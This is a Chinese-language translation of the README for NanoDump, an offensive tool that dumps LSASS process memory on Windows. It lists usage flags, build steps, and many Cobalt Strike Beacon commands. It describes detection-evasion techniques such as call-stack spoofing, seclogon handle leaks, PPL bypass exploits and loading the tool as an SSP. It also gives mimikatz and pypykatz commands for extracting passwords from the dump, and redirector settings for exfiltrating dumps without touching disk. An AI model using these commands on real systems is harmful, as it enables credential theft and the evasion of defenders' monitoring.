一个灵活的工具,用于创建 LSASS 进程的 minidump。

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
dump 文件的文件名
--valid, -v
创建带有效签名的 dump
Obtain an LSASS handle via:
--duplicate, -d
复制一个已有的高权限 LSASS 句柄
--duplicate-elevate, -de
复制一个已有的低权限 LSASS 句柄,然后提升其权限
--seclogon-leak-local, -sll
通过 seclogon 将 LSASS 句柄泄露到 nanodump 中
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
通过 seclogon 将 LSASS 句柄泄露到另一个进程中,然后复制它
--seclogon-duplicate, -sd
让 seclogon 打开一个 LSASS 句柄并复制它
--spoof-callstack, -sc
使用伪造的调用栈打开 LSASS 句柄
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
通过 SilentProcessExit 强制 WerFault.exe 转储 LSASS
--shtinkering, -sk
通过 Shtinkering 强制 WerFault.exe 转储 LSASS
Avoid reading LSASS directly:
--fork, -f
转储前 fork 目标进程
--snapshot, -s
转储前创建目标进程的快照
Avoid opening a handle with high privileges:
--elevate-handle, -eh
以低权限打开 LSASS 句柄,然后复制它以获得更高权限
Miscellaneous:
--getpid
打印 LSASS 的 PID 并退出
--chunk-size
用于在不接触磁盘的情况下泄露 dump 的块大小(以 KiB 为单位,默认 900)
Help:
--help, -h
打印此帮助信息并退出
git clone https://github.com/fortra/nanodump.git
在 Linux 上使用 MinGW
make -f Makefile.mingw
在 Windows 上使用 MSVC(不支持 BOF)
nmake -f Makefile.msvc
在 Cobalt Strike 中导入 NanoDump.cna 脚本。
在 Beacon 控制台中运行 nanodump 命令,或直接运行 nanodump.x64.exe 二进制文件。
如果你没有指定 --valid 标志,则需要恢复无效的签名:
scripts/restore_signature <dumpfile>
mimikatz:
要获取密码,只需运行:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
如果你更喜欢在 Linux 上操作,可以使用 mimikatz 的 Python3 移植版本 pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
为了避免以 PROCESS_VM_READ 权限打开 LSASS 句柄,你可以使用 --fork 参数。
这将使 nanodump 以 PROCESS_CREATE_PROCESS 权限创建 LSASS 句柄,然后创建一个进程的“克隆”。这个新进程随后将被转储。虽然这会导致进程的创建和删除,但消除了直接读取 LSASS 的需求。
与 --fork 选项类似,你可以使用 --snapshot 创建 LSASS 进程的快照。
这将使 nanodump 以 PROCESS_CREATE_PROCESS 权限创建 LSASS 句柄,然后使用 PssNtCaptureSnapshot 创建进程的快照。这个新进程随后将被转储。快照将在完成后自动释放。
由于打开 LSASS 句柄可能被检测到,nanodump 可以改为搜索 LSASS 的现有句柄。
如果找到,它将复制该句柄并使用它来创建 minidump。
请注意,不保证一定能找到这样的句柄。
你可以以 PROCESS_QUERY_LIMITED_INFORMATION 权限获取 LSASS 句柄(这很可能被列入白名单),然后通过复制该句柄来提升其权限。
为了避免打开 LSASS 句柄,你可以滥用 seclogon 服务,通过调用 CreateProcessWithLogonW 将 LSASS 句柄泄露到 nanodump 二进制文件中。
要启用此功能,请使用 --seclogon-leak-local 参数。
请注意,当从 Cobalt Strike 使用时,需要将未签名的 nanodump 二进制文件写入磁盘才能使用此功能。
该技术与前一种非常相似,但并非将句柄泄露到 nanodump 中,而是泄露到另一个二进制文件中,然后复制该句柄以便 nanodump 能够使用它。
使用 --seclogon-leak-remote 标志来访问此功能。
你可以诱使 seclogon 进程打开一个 LSASS 句柄,并在其关闭之前通过文件锁赢得竞争条件来复制它。
使用 --seclogon-duplicate 标志来访问此功能。
你可以将 nanodump 作为 SSP 加载到 LSASS 中,以避免打开句柄。
当 DLL 被加载到 LSASS 后,参数将通过命名管道传递,一旦转储完成,DllMain 将返回 FALSE,使 LSASS 卸载 nanodump DLL。
你可以使用编译器标志 PASS_PARAMS_VIA_NAMED_PIPES=0 将参数硬编码到 DLL 中,从而完全避免使用命名管道。
默认情况下,一个未签名的 nanodump DLL 将被上传到 Temp 文件夹,并会在完成后自动删除。
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
如果你想加载一个已存在的 DLL,可以运行:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
注意:此漏洞已在 2022 年 7 月更新包(Windows 10 21H2 Build 19044.1826)中修复
要访问此功能,请使用 nanodump_ppl_dump 命令:
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
要访问此功能,请使用 nanodump_ppl_medic 命令:
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
由于 dump 不是由 nanodump 创建的,因此它将始终具有有效签名。
要利用 Silent Process Exit 技术,请使用 --silent-process-exit 参数并指定 dump 的创建路径。
beacon> nanodump --silent-process-exit C:\Windows\Temp\
还会创建一个 nanodump 进程的转储,类似于这样:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
你也可以使用 Shtinkering 技术,这要求 nanodump 以 SYSTEM 身份运行:
beacon> nanodump --shtinkering
dump 通常会在 C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps 下创建。
你可以使用伪造的调用栈打开 LSASS 句柄,使函数调用看起来更正常(尤其是在作为 BOF 运行时)。
要访问此功能,请使用参数 --spoof-callstack。
你可以组合多种技术来定制 nanodump 的操作方式。
下表说明了哪些标志可以一起使用。
通过创建 fork 间接读取 LSASS,并将 dump 以无效签名写入磁盘:
beacon> nanodump --fork --write C:\lsass.dmp
使用 seclogon 远程泄露,将 LSASS 句柄泄露到 notepad 进程中,复制该句柄以获取 LSASS 访问权限,然后通过创建 fork 间接读取,并以有效签名下载 dump:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
通过 seclogon 本地泄露获取句柄,使用 fork 间接读取 LSASS,并以有效签名将 dump 写入磁盘(将上传 nanodump 二进制文件!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
以无效签名下载 dump(默认):
beacon> nanodump
复制现有句柄,并以无效签名将 dump 写入磁盘:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
获取 LSASS 的 PID:
beacon> nanodump --getpid
将 nanodump 作为 SSP 加载到 LSASS 中(将上传 nanodump 二进制文件!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
使用 PPLDump 漏洞绕过 PPL 转储 LSASS,复制 csrss.exe 拥有的 LSASS 句柄:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
使用 PPLMedic 漏洞绕过 PPL 转储 LSASS,打开一个低权限 LSASS 句柄然后提升它:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
诱使 seclogon 打开一个 LSASS 句柄并复制它,然后以无效签名下载 dump:
beacon> nanodump --seclogon-duplicate
让 WerFault.exe 进程在 Temp 文件夹中创建完整内存转储:
beacon> nanodump --werfault C:\Windows\Temp\
使用伪造的调用栈打开 LSASS 句柄,并以无效签名下载 minidump:
beacon> nanodump --spoof-callstack
使用 Shtinkering 技术:
beacon> nanodump --shtinkering
通过 seclogon 本地泄露获取句柄,并使用 Shtinkering 技术创建 dump:
beacon> nanodump --seclogon-leak-local --shtinkering
以低权限获取句柄,并使用 elevate handle 提升它:
beacon> nanodump --elevate-handle
使用伪造的调用栈以低权限获取句柄,并使用 elevate handle 提升它:
beacon> nanodump --elevate-handle --spoof-callstack
复制现有的低权限句柄,并使用 elevate handle 提升它:
beacon> nanodump --duplicate-elevate
如果你使用 HTTPS 重定向器(你应该使用),在无文件下载 dump 时,可能会因为泄露 dump 的请求大小而遇到问题。
在你的 web 服务器上增加请求的最大大小,以允许 nanodump 下载 dump。
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |